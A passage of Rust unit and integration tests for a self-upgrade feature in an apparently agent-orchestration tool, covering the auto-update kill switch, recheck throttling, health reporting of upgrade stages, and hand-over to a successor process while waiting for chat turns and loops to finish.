17358            .expect("publish a heartbeat");
17359
17360        let res = fx.post("/api/upgrade", None).await;
17361        assert_eq!(res.status, 409);
17362        let err = res.json()["error"].as_str().unwrap().to_owned();
17363        assert!(err.contains("4321"), "the refusal names the owner: {err}");
17364        assert!(err.contains("old one against the same queue"), "{err}");
17365    }
17366
17367    /// [`should_spawn_recheck`] must refuse for the same two reasons
17368    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
17369    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
17370    /// Purely a predicate over config and the environment - no network, no
17371    /// disk, no runtime - so unlike the fixture-based tests around it this
17372    /// one needs neither.
17373    #[test]
17374    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
17375        assert!(!should_spawn_recheck(&crate::config::Update {
17376            mode: UpdateMode::Off,
17377            interval: None,
17378        }));
17379
17380        // SAFETY: single-threaded as far as this variable goes, the same
17381        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
17382        unsafe {
17383            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
17384        }
17385        let killed = should_spawn_recheck(&crate::config::Update {
17386            mode: UpdateMode::Notify,
17387            interval: None,
17388        });
17389        unsafe {
17390            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
17391        }
17392        assert!(
17393            !killed,
17394            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
17395             one-time startup check"
17396        );
17397
17398        assert!(should_spawn_recheck(&crate::config::Update {
17399            mode: UpdateMode::Notify,
17400            interval: None,
17401        }));
17402    }
17403
17404    /// [`recheck_poll_period`] must track a configured `[update] interval`
17405    /// shorter than its own default ceiling - a fixed sleep here would leave
17406    /// an operator's short interval waiting on the next wake-up instead of on
17407    /// `should_check`, which is the same bug this whole task exists to fix,
17408    /// just one level down.
17409    #[test]
17410    fn recheck_poll_period_tracks_a_short_configured_interval() {
17411        let short = crate::config::Update {
17412            mode: UpdateMode::Notify,
17413            interval: Some("1m".to_owned()),
17414        };
17415        let period = recheck_poll_period(&short);
17416        assert!(
17417            period <= Duration::from_secs(30),
17418            "a one-minute interval must wake the task far sooner than the \
17419             default ceiling, or the deck would not notice within the \
17420             interval the operator configured: got {period:?}"
17421        );
17422
17423        let default = crate::config::Update {
17424            mode: UpdateMode::Notify,
17425            interval: None,
17426        };
17427        assert_eq!(
17428            recheck_poll_period(&default),
17429            UPDATE_RECHECK_POLL_MAX,
17430            "the default day-long interval should poll at the (capped) \
17431             ceiling rather than needlessly often"
17432        );
17433    }
17434
17435    /// [`update_recheck_due`] must not repeat a check made moments ago, the
17436    /// same throttle `updater::Checker::should_check` already gives the
17437    /// CLI's notify mode. Built over an explicit state file via
17438    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
17439    /// write the operator's real `last_update_check.json` - and therefore
17440    /// cannot flake on whatever that file happens to say on the machine
17441    /// running the test.
17442    #[test]
17443    fn recheck_skips_the_network_before_the_interval_elapses() {
17444        let dir = TempDir::new().expect("temp dir");
17445        let path = dir.path().join("state.json");
17446        let state = kaishin::UpdateCheckState {
17447            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
17448            last_known_latest: None,
17449            last_known_url: None,
17450        };
17451        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
17452
17453        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
17454        assert!(
17455            !update_recheck_due(&checker, None),
17456            "a check made moments ago must not be repeated before the \
17457             configured interval elapses"
17458        );
17459    }
17460
17461    /// An upgrade this deck already started must not be raced by a recheck
17462    /// that discovers a newer release mid-install - regardless of what
17463    /// `should_check` says, which is why the state file here is missing
17464    /// entirely: read alone, that alone would answer "never checked, go
17465    /// ahead".
17466    #[test]
17467    fn recheck_defers_to_an_upgrade_already_in_flight() {
17468        let dir = TempDir::new().expect("temp dir");
17469        let path = dir.path().join("state.json");
17470        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
17471        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
17472
17473        assert!(
17474            !update_recheck_due(&checker, Some(&progress)),
17475            "a recheck must not run while an upgrade this deck started is \
17476             still moving"
17477        );
17478    }
17479
17480    #[tokio::test]
17481    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
17482        // The same env var the background check honours (`disabled_by_env`)
17483        // must also stop a button press before it ever calls
17484        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
17485        // means "never contact GitHub from this process", and a tap on the
17486        // upgrade button must not override that any more than a broken
17487        // `magi.toml` may. Left unset, this fixture's default config would
17488        // otherwise reach a real, unauthenticated GitHub call.
17489        //
17490        // SAFETY: single-threaded as far as this variable goes - nothing else
17491        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
17492        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
17493        unsafe {
17494            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
17495        }
17496        let fx = Fixture::start().await;
17497        let res = fx.post("/api/upgrade", None).await;
17498        unsafe {
17499            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
17500        }
17501        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17502        let body = res.json();
17503        assert!(body["to"].is_null(), "there was no release to move to");
17504        assert!(body["parked"].is_null(), "and nothing was parked");
17505        assert!(
17506            body["detail"]
17507                .as_str()
17508                .unwrap()
17509                .contains("disabled by MAGI_NO_AUTOUPDATE"),
17510            "{body:?}"
17511        );
17512    }
17513
17514    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
17515        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
17516        p.stage = stage;
17517        p
17518    }
17519
17520    #[test]
17521    fn busy_stages_match_the_ui_set() {
17522        use crate::updater::Stage;
17523        assert!(APP_JS.contains(
17524            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
17525        ));
17526        for s in [
17527            Stage::Downloading,
17528            Stage::Replaced,
17529            Stage::Parking,
17530            Stage::Restarting,
17531        ] {
17532            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
17533        }
17534        for s in [Stage::Done, Stage::Failed] {
17535            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
17536        }
17537        assert!(upgrade_in_motion(None).is_none());
17538    }
17539
17540    #[tokio::test]
17541    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
17542        use crate::updater::Stage;
17543        for stage in [
17544            Stage::Downloading,
17545            Stage::Replaced,
17546            Stage::Parking,
17547            Stage::Restarting,
17548        ] {
17549            let fx = Fixture::start().await;
17550            let seeded = seeded_progress(stage);
17551            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
17552            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17553                .expect("read");
17554
17555            let res = fx.post("/api/upgrade", None).await;
17556            assert_eq!(res.status, 409, "{stage:?}");
17557            let err = res.json()["error"].as_str().unwrap().to_owned();
17558            assert!(err.contains("already in progress"), "{err}");
17559            assert!(err.contains(stage.as_str()), "{err}");
17560
17561            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
17562                .expect("read");
17563            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
17564            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
17565                .unwrap_or_default();
17566            assert!(!log.contains("signalling HANDOVER"), "{log}");
17567        }
17568    }
17569
17570    #[tokio::test]
17571    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
17572        use crate::updater::Stage;
17573        let repo = TempDir::new().expect("repo dir");
17574        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17575            .expect("write magi.toml");
17576        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17577        for stage in [Stage::Done, Stage::Failed] {
17578            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
17579            let res = fx.post("/api/upgrade", None).await;
17580            assert_eq!(res.status, 200, "{stage:?}");
17581        }
17582        // No record at all, and the gate was released by the earlier calls.
17583        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
17584        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
17585    }
17586
17587    #[tokio::test]
17588    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
17589        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
17590        // and the route answers from its own logic.
17591        //
17592        // This test used to lean on the fixture's placeholder repo failing
17593        // config discovery, which left `mode = "notify"` - and a live,
17594        // unauthenticated call to the GitHub releases API inside a unit test.
17595        // GitHub allows 60 of those an hour per address, so the suite went red
17596        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
17597        // long as somebody kept re-running it: every attempt spent another
17598        // request. Six reruns across four pull requests were charged to that
17599        // before it was read as a rate limit rather than a flake.
17600        //
17601        // What the assertion is about is the "already current" branch, which
17602        // is reached by there being no newer release *or* nowhere to look. The
17603        // second one needs no network and cannot be rate limited.
17604        let repo = TempDir::new().expect("repo dir");
17605        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17606            .expect("write magi.toml");
17607        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17608
17609        // It must answer 200 and leave the process alone: restarting for an
17610        // upgrade that did not happen parks the run in flight and drops every
17611        // connection to pay for nothing. A probe against a deck already on the
17612        // newest build did exactly that, which is how this case got its own
17613        // branch.
17614        let res = fx.post("/api/upgrade", None).await;
17615        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17616        let body = res.json();
17617        assert!(body["to"].is_null(), "there was no release to move to");
17618        assert!(body["parked"].is_null(), "and nothing was parked");
17619        assert!(
17620            body["detail"]
17621                .as_str()
17622                .unwrap()
17623                .contains("nothing restarted"),
17624            "{body:?}"
17625        );
17626    }
17627
17628    #[tokio::test]
17629    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
17630        // `mode = "off"` for the same reason as the test above: a default
17631        // fixture repo falls back to `mode = "notify"`, which would make this
17632        // route's new `update` field a live, unauthenticated GitHub call on
17633        // every assertion in this suite that happens to hit `/api/health`.
17634        let repo = TempDir::new().expect("repo dir");
17635        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17636            .expect("write magi.toml");
17637        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17638
17639        let health = fx.get("/api/health").await.json();
17640        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17641        assert_eq!(
17642            health["update"]["available"], false,
17643            "checking is off, which reads as \"unknown\", not \"none\""
17644        );
17645        assert!(health["update"]["to"].is_null());
17646        assert!(
17647            health["upgrade"].is_null(),
17648            "nothing has ever asked this deck to upgrade"
17649        );
17650    }
17651
17652    #[tokio::test]
17653    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17654        let fx = Fixture::start().await;
17655        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17656
17657        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17658        progress.parked_run = Some("20260905-000000-cd51".to_owned());
17659        progress.advance(crate::updater::Stage::Parking);
17660        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17661
17662        let health = fx.get("/api/health").await.json();
17663        assert_eq!(health["upgrade"]["stage"], "parking");
17664        assert_eq!(health["upgrade"]["from"], "0.5.1");
17665        assert_eq!(health["upgrade"]["to"], "0.5.2");
17666        let waiting_on = health["upgrade"]["waiting_on"]
17667            .as_str()
17668            .expect("waiting_on is set while parking a known run");
17669        assert!(waiting_on.contains("cd51"), "{waiting_on}");
17670        assert!(waiting_on.contains("implementing"), "{waiting_on}");
17671    }
17672
17673    #[tokio::test]
17674    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
17675        let fx = Fixture::start().await;
17676        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17677        progress.advance(crate::updater::Stage::Done);
17678        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17679
17680        let health = fx.get("/api/health").await.json();
17681        assert_eq!(health["upgrade"]["stage"], "done");
17682        assert!(
17683            health["upgrade"]["waiting_on"].is_null(),
17684            "nothing to wait on once it is done"
17685        );
17686    }
17687
17688    #[tokio::test]
17689    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
17690        let home = TempDir::new().expect("temp home");
17691        let runs = home.path().join("runs");
17692        std::fs::create_dir_all(&runs).expect("runs dir");
17693        let ui = Ui::new(
17694            Queue::at(home.path().join("queue")),
17695            Questions::at(home.path().join("questions")),
17696            Talks::at(home.path().join("talks")),
17697            runs,
17698            home.path().to_path_buf(),
17699            PathBuf::from("/repo/magi"),
17700        )
17701        .with_launch(launch_idle);
17702        let looping = ui.looping();
17703        let turns = ui.turns();
17704        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17705            .await
17706            .expect("bind loopback");
17707        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17708
17709        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17710        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17711
17712        hand_over(
17713            home.path(),
17714            &looping,
17715            &turns,
17716            &|_: &[String]| Duration::from_secs(5),
17717            served,
17718            |_| Ok(1),
17719        )
17720        .await
17721        .expect("hand over");
17722
17723        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
17724        assert_eq!(
17725            after.stage,
17726            crate::updater::Stage::Restarting,
17727            "hand_over owns the record through parking and up to restarting; \
17728             the successor is what finishes it"
17729        );
17730    }
17731
17732    /// The successor is started exactly once on success, and exactly once on
17733    /// failure too (a failed start is reported, never retried).
17734    #[tokio::test]
17735    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
17736        for fail in [false, true] {
17737            let home = TempDir::new().expect("temp home");
17738            let ui = idle_ui(&home);
17739            let looping = ui.looping();
17740            let turns = ui.turns();
17741            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17742                .await
17743                .expect("bind loopback");
17744            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17745            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17746            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17747
17748            let calls = std::sync::atomic::AtomicUsize::new(0);
17749            let outcome = hand_over(
17750                home.path(),
17751                &looping,
17752                &turns,
17753                &|_: &[String]| Duration::from_secs(5),
17754                served,
17755                |_| {
17756                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17757                    if fail {
17758                        anyhow::bail!("no exec")
17759                    } else {
17760                        Ok(4242)
17761                    }
17762                },
17763            )
17764            .await;
17765            assert_eq!(outcome.is_err(), fail);
17766            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17767
17768            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
17769                .expect("upgrade.log is written under the home");
17770            for step in [
17771                "entered",
17772                "finish_loop",
17773                "listener released",
17774                "starting the successor",
17775            ] {
17776                assert!(log.contains(step), "missing `{step}` in:\n{log}");
17777            }
17778            assert!(
17779                log.contains(if fail { "did not start" } else { "pid 4242" }),
17780                "{log}"
17781            );
17782        }
17783    }
17784
17785    /// The handover signal is seen however the race falls, and wakes its one
17786    /// waiter once per signal - nothing here can spin.
17787    #[tokio::test]
17788    async fn the_handover_signal_wakes_one_waiter_once() {
17789        let signal = Notify::new();
17790        // Signalled before anyone waits: the stored permit is not lost.
17791        signal.notify_one();
17792        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
17793            .await
17794            .expect("an early signal is still seen");
17795        // One signal, one wake-up: a second wait does not resolve by itself.
17796        assert!(
17797            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
17798                .await
17799                .is_err(),
17800            "a consumed signal must not wake a second time"
17801        );
17802        // Signalled while waiting.
17803        let signal = std::sync::Arc::new(signal);
17804        let waiter = tokio::spawn({
17805            let signal = std::sync::Arc::clone(&signal);
17806            async move { wait_for_handover(&signal).await }
17807        });
17808        tokio::time::sleep(Duration::from_millis(20)).await;
17809        assert!(!waiter.is_finished(), "nothing was signalled yet");
17810        signal.notify_one();
17811        tokio::time::timeout(Duration::from_secs(5), waiter)
17812            .await
17813            .expect("a late signal wakes the waiter")
17814            .expect("join");
17815    }
17816
17817    #[tokio::test]
17818    async fn health_says_how_long_a_handover_has_been_stuck() {
17819        let fx = Fixture::start().await;
17820        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17821        progress.advance(crate::updater::Stage::Replaced);
17822        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
17823        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17824
17825        let health = fx.get("/api/health").await.json();
17826        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
17827        assert!(stuck >= 600, "{stuck}");
17828        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
17829        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
17830    }
17831
17832    #[tokio::test]
17833    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
17834        let home = tempfile::tempdir().expect("temp home");
17835        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17836        progress.advance(crate::updater::Stage::Parking);
17837        crate::updater::write_progress(home.path(), &progress).expect("seed");
17838        // What the second upgrade_and_restart and its handler do.
17839        let mut again = progress.clone();
17840        again.advance(crate::updater::Stage::Replaced);
17841        crate::updater::write_progress(home.path(), &again).expect("replaced");
17842        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17843        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
17844        let after = crate::updater::read_progress(home.path()).expect("record");
17845        assert_eq!(after.stage, crate::updater::Stage::Parking);
17846    }
17847
17848    #[tokio::test]
17849    async fn health_does_not_call_a_live_parking_wait_stuck() {
17850        let fx = Fixture::start().await;
17851        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17852        progress.parked_run = Some("20260905-000000-cd51".to_owned());
17853        progress.advance(crate::updater::Stage::Parking);
17854        let hours = Duration::from_secs(3 * 3600);
17855        progress.started_at = Timestamp::now() - hours;
17856        progress.updated_at = Timestamp::now() - hours;
17857        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17858        let _lease = crate::updater::LeaseGuard::enter(
17859            fx.home.path(),
17860            Some("20260905-000000-cd51".to_owned()),
17861        );
17862
17863        let health = fx.get("/api/health").await.json();
17864        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
17865        assert!(health["upgrade"]["stuck_kind"].is_null());
17866        assert_eq!(health["upgrade"]["handover_alive"], true);
17867        let waiting_on = health["upgrade"]["waiting_on"]
17868            .as_str()
17869            .expect("waiting_on");
17870        assert!(waiting_on.contains("cd51"), "{waiting_on}");
17871    }
17872
17873    fn idle_ui(home: &TempDir) -> Ui {
17874        let runs = home.path().join("runs");
17875        std::fs::create_dir_all(&runs).expect("runs dir");
17876        Ui::new(
17877            Queue::at(home.path().join("queue")),
17878            Questions::at(home.path().join("questions")),
17879            Talks::at(home.path().join("talks")),
17880            runs,
17881            home.path().to_path_buf(),
17882            PathBuf::from("/repo/magi"),
17883        )
17884        .with_launch(launch_idle)
17885    }
17886
17887    async fn park_fixture(
17888        home: &TempDir,
17889    ) -> (
17890        Ui,
17891        Arc<Mutex<LoopState>>,
17892        Arc<Mutex<TalkTurns>>,
17893        tokio::task::JoinHandle<std::io::Result<()>>,
17894    ) {
17895        let ui = idle_ui(home);
17896        let looping = ui.looping();
17897        let turns = ui.turns();
17898        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17899            .await
17900            .expect("bind loopback");
17901        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
17902        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17903        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17904        (ui, looping, turns, served)
17905    }
17906
17907    /// The hand-over does not release the address while a chat turn is in
17908    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
17909    /// started once the turn ends.
17910    #[tokio::test]
17911    async fn hand_over_waits_for_a_running_chat_turn() {
17912        let home = TempDir::new().expect("temp home");
17913        let (ui, looping, turns, served) = park_fixture(&home).await;
17914        let ui = Arc::new(ui);
17915        let id = "20260901-000000-chat";
17916        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17917
17918        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17919        let handover = tokio::spawn({
17920            let home = home.path().to_path_buf();
17921            let turns = Arc::clone(&turns);
17922            let calls = Arc::clone(&calls);
17923            async move {
17924                hand_over(
17925                    &home,
17926                    &looping,
17927                    &turns,
17928                    &|_: &[String]| Duration::from_secs(60),
17929                    served,
17930                    move |_| {
17931                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17932                        Ok(1)
17933                    },
17934                )
17935                .await
17936            }
17937        });
17938
17939        let waiting = async {
17940            for _ in 0..200 {
17941                if crate::updater::read_progress(home.path())
17942                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
17943                {
17944                    return;
17945                }
17946                tokio::time::sleep(Duration::from_millis(25)).await;
17947            }
17948            panic!("the park never named the chat turn");
17949        };
17950        waiting.await;
17951        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17952
17953        // A new turn is refused, a queued claim and a direct `/say` see a busy
17954        // slot, and nothing new is live.
17955        let refused = ui.begin_talk_turn("20260901-000000-late").err();
17956        assert!(
17957            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17958            "a direct start says an upgrade is in progress"
17959        );
17960        assert!(
17961            ui.begin_queued_talk_turn("20260901-000000-late")
17962                .expect("queued claim")
17963                .is_none()
17964        );
17965        assert!(matches!(
17966            ui.begin_talk_turn_unless_pending("20260901-000000-late")
17967                .expect("start"),
17968            TalkTurnStart::Busy
17969        ));
17970        assert_eq!(turns.lock().unwrap().live.len(), 1);
17971
17972        // The health text names the turn.
17973        let progress = crate::updater::read_progress(home.path()).expect("progress");
17974        let view = upgrade_progress_view(&ui, progress);
17975        assert!(
17976            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
17977            "{:?}",
17978            view.waiting_on
17979        );
17980
17981        assert!(!handover.is_finished());
17982        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17983        drop(turn);
17984        handover.await.expect("join").expect("hand over");
17985        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17986        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17987    }
17988
17989    /// Chat stays open while the loop is still parking, and closes only once
17990    /// the loop is done; a turn started during the park is waited for.
17991    #[tokio::test]
17992    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
17993        let home = TempDir::new().expect("temp home");
17994        let (ui, looping, turns, served) = park_fixture(&home).await;
17995        let ui = Arc::new(ui);
17996        // A loop that ends only when told to.
17997        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
17998        lock_or_recover(&looping).live = Some(Live {
17999            stop: daemon::Stop::new(),
18000            handle: tokio::spawn(async move {
18001                let _ = loop_ended.await;
18002            }),
18003            opts: daemon::Opts::default(),
18004        });
18005
18006        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
18007        let handover = tokio::spawn({
18008            let home = home.path().to_path_buf();
18009            let turns = Arc::clone(&turns);
18010            let calls = Arc::clone(&calls);
18011            async move {
18012                hand_over(
18013                    &home,
18014                    &looping,
18015                    &turns,
18016                    &|_: &[String]| Duration::from_secs(60),
18017                    served,
18018                    move |_| {
18019                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18020                        Ok(1)
18021                    },
18022                )
18023                .await
18024            }
18025        });
18026
18027        let reached = async {
18028            for _ in 0..200 {
18029                if crate::updater::read_progress(home.path())
18030                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
18031                {
18032                    return;
18033                }
18034                tokio::time::sleep(Duration::from_millis(25)).await;
18035            }
18036            panic!("the hand-over never reached parking");
18037        };
18038        reached.await;
18039
18040        // The loop is still parking: a chat turn starts.
18041        assert!(!turns.lock().unwrap().parking);
18042        let turn = ui
18043            .begin_talk_turn("20260901-000000-chat")
18044            .expect("claim")
18045            .expect("a turn can start while the loop parks");
18046
18047        // The loop ends; the slot closes while the first turn is still held.
18048        end_loop.send(()).expect("loop still waiting");
18049        for _ in 0..200 {
18050            if turns.lock().unwrap().parking {
18051                break;
18052            }
18053            tokio::time::sleep(Duration::from_millis(25)).await;
18054        }
18055        assert!(
18056            turns.lock().unwrap().parking,
18057            "closed once the loop is done"
18058        );
18059        let refused = ui.begin_talk_turn("20260901-000000-late").err();
18060        assert!(
18061            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
18062            "no turn starts once the loop is done"
18063        );
18064        assert!(
18065            ui.begin_queued_talk_turn("20260901-000000-late")
18066                .expect("queued claim")
18067                .is_none()
18068        );
18069        assert!(!handover.is_finished());
18070        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
18071
18072        drop(turn);
18073        handover.await.expect("join").expect("hand over");
18074        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18075        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
18076    }
18077
18078    /// A turn that never ends cannot block the upgrade: past the bound the
18079    /// hand-over proceeds and records which talk it gave up on.
18080    #[tokio::test]
18081    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
18082        let home = TempDir::new().expect("temp home");
18083        let (ui, looping, turns, served) = park_fixture(&home).await;
18084        let id = "20260901-000000-stuk";
18085        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18086
18087        let calls = std::sync::atomic::AtomicUsize::new(0);
18088        hand_over(
18089            home.path(),
18090            &looping,
18091            &turns,
18092            &|_: &[String]| Duration::from_millis(300),
18093            served,
18094            |_| {
18095                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
18096                Ok(1)
18097            },
18098        )
18099        .await
18100        .expect("hand over");
18101        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
18102
18103        let progress = crate::updater::read_progress(home.path()).expect("progress");
18104        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
18105        assert!(
18106            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
18107            "{:?}",
18108            progress.detail
18109        );
18110        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
18111        assert!(
18112            log.contains("handing over anyway") && log.contains(id),
18113            "{log}"
18114        );
18115    }
18116
18117    /// A drain that finds the upgrade parking leaves the queued draft alone
18118    /// and gives the slot up, instead of starting another turn.
18119    #[tokio::test]
18120    async fn drain_loop_starts_no_turn_while_parking() {
18121        let tmp = TempDir::new().expect("tempdir");
18122        let repo = tmp.path().join("repo");
18123        std::fs::create_dir_all(&repo).expect("repo dir");
18124        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
18125        let home = TempDir::new().expect("temp home");
18126        let talks = Talks::at(home.path().join("talks"));
18127        let ui = Ui::new(
18128            Queue::at(home.path().join("queue")),
18129            Questions::at(home.path().join("questions")),
18130            talks.clone(),
18131            home.path().join("runs"),
18132            home.path().to_path_buf(),
18133            repo.clone(),
18134        )
18135        .with_worktrees_root(home.path().join("wt"));
18136        let cfg = config_for(&repo).await.expect("discover config");
18137        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
18138        let id = talk.id.clone();
18139        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
18140        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
18141        let turns = ui.turns();
18142        let parking = ParkingTurns::begin(&turns);
18143
18144        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
18145
18146        assert!(
18147            turns.lock().unwrap().live.is_empty(),
18148            "the slot is given up"
18149        );
18150        let fresh = talks.get(&id).expect("talk");
18151        assert_eq!(fresh.pending, "later", "the draft is still queued");
18152        assert!(fresh.turns.is_empty(), "no turn ran");
18153        drop(parking);
18154    }
18155
18156    /// Run `hand_over` against `ui` and return what the successor was told.
18157    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
18158        let looping = ui.looping();
18159        let turns = ui.turns();
18160        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
18161            .await
18162            .expect("bind loopback");
18163        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
18164        let told = std::sync::Mutex::new(None);
18165        hand_over(
18166            home.path(),
18167            &looping,
18168            &turns,
18169            &|_: &[String]| Duration::from_secs(5),
18170            served,
18171            |resume| {
18172                *told.lock().unwrap() = Some(resume);
18173                Ok(1)
18174            },
18175        )
18176        .await
18177        .expect("hand over");
18178        told.into_inner().unwrap().expect("successor was started")
18179    }
18180
18181    #[tokio::test]
18182    async fn a_running_loop_is_resumed_by_the_successor() {
18183        let home = TempDir::new().expect("temp home");
18184        let ui = idle_ui(&home);
18185        ui.start_loop(None).expect("start");
18186        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18187        // The idle loop sees the park and ends before the handover fires.
18188        for _ in 0..500 {
18189            if !ui.loop_view(None).running {
18190                break;
18191            }
18192            tokio::time::sleep(Duration::from_millis(2)).await;
18193        }
18194        assert!(handed_over(&home, ui).await, "a running loop must resume");
18195
18196        let successor = idle_ui(&home);
18197        assert!(!successor.loop_view(None).running);
18198        assert!(successor.resume_after_handover(true));
18199        assert!(successor.loop_view(None).running);
